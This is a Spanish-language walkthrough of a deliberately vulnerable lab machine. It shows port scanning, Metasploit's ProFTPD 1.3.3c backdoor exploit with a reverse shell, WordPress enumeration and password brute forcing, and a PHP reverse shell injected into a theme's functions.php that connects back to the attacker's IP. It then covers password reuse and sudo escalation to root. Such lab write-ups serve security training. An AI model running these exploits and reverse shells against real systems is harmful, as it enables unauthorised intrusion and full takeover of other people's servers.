Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 09:57 EDT
Nmap scan report for 192.168.5.173
Host is up (0.00068s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|   256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_  256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:A7:30:B0 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds
```

Metasploit

Si vamos a `metasploit` y vemos si tiene alguna vulnerabilidad el `ftp` veremos que si la tiene, por lo que haremos lo siguiente...

```
msfconsole -q
```

Dentro del entorno de `metasploit` haremos lo siguiente...

```
use exploit/unix/ftp/proftpd_133c_backdoor

set RHOSTS <VICTIM_IP>

set payload payload/cmd/unix/reverse

set LHOST <YOUR_IP>

run
```

Info:

```
[*] Started reverse TCP double handler on 192.168.5.162:4444
[*] 192.168.5.173:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 0PGACgf43119N3Fp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "0PGACgf43119N3Fp\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.5.162:4444 -> 192.168.5.173:47528) at
2024-06-07 10:02:25 -0400

whoami
root
```

Con esto abremos conseguido acceso a la maquina y ya no solo eso, si no que seriamos `root` automaticamente...

Segunda forma de resolucion

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.173/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 302]
/.htpasswd.html       (Status: 403) [Size: 302]
/.htaccess.php        (Status: 403) [Size: 301]
/.htpasswd            (Status: 403) [Size: 297]
/.htaccess.txt        (Status: 403) [Size: 301]
/.htpasswd.txt        (Status: 403) [Size: 301]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htaccess            (Status: 403) [Size: 297]
/index.html           (Status: 200) [Size: 177]
/server-status        (Status: 403) [Size: 301]
/secret               (Status: 200) [Size: 53390]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a `/secret` vemos que hay un `Wordpress` por lo que haremos lo siguiente...

```
wpscan --url http://<IP>/secret/ --enumerate u
```

Info:

```
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://192.168.5.173/secret/ [192.168.5.173]
[+] Started: Fri Jun  7 10:10:50 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.173/secret/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299
```

```
[+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30).
| Found By: Emoji Settings (Passive Detection)
|  - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25'
| Confirmed By: Meta Generator (Passive Detection)
|  - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jun  7 10:10:52 2024
[+] Requests Done: 48
[+] Cached Requests: 5
[+] Data Sent: 12.219 KB
[+] Data Received: 294.714 KB
[+] Memory used: 148.348 MB
[+] Elapsed time: 00:00:02
```

~~~

Por lo que vemos nos saco el usuario ``admin``, por lo que haremos lo siguiente...

Antes de nada si probamos las credenciales por defecto que vienen en ``Wordpress``
que son ``User = admin`` y ``Password = admin`` entrariamos, pero si queremos tirar
de herramientas, seria con el siguiente comando...

```shell
wpscan --url http://<IP>/secret/ --usernames admin --passwords <WORDLIST>
~~~

Info:

---

```
     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                     Version 3.8.25
```

```
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://192.168.5.173/secret/ [192.168.5.173]
[+] Started: Fri Jun  7 10:12:00 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.173/secret/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30).
| Found By: Emoji Settings (Passive Detection)
|  - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25'
| Confirmed By: Meta Generator (Passive Detection)
|  - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.
```

```
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00
<==============================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - admin / admin
Trying admin / akusayangkamu Time: 00:02:39 <                                        > (19820 / 14364212)  0.13%  ETA: ??:??:??

[!] Valid Combinations Found:
| Username: admin, Password: admin

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jun  7 10:14:44 2024
[+] Requests Done: 19961
[+] Cached Requests: 29
[+] Data Sent: 6.768 MB
[+] Data Received: 70.162 MB
[+] Memory used: 226.145 MB
[+] Elapsed time: 00:02:44
```

```
Por lo que vemos las credenciales como bien dije antes son las de por defecto...
```

User = admin
Password = admin

~~~
Una vez dentro del ``Wordpress`` nos vamos a la pestaña ``Themes`` y en la casilla
``Editor`` dentro de este entorno veremos un archivo para editar llamado
``Functions.php`` el cual inyectaremos una ``Reverse Shell`` de la siguiente
manera...

```php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);
~~~

Una vez inyectado esto, le damos a guardar los cambios al boton `Update File` y estando a la escucha anteriormente...

```
nc -lvnp <PORT>
```

Cuando le demos a guardar automaticamente se nos creara una `Shell` con el usuario `www-data`, por lo que la sanitizaremos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
```

```
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Descubrimos un usuario llamado `marlinspike` si probamos a cambiarnos a ese usuario utilizando como contraseña el mismo nombre de usuario seremos ese usuario...

```
User = marlinspike
Password = marlinspike
```

Una vez siendo este usuario, si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL
```

Vemos que tenemos todos los privilegios por lo que si hacemos...

```
sudo su
```

Seremos `root` y con esto ya habriamos terminado la maquina...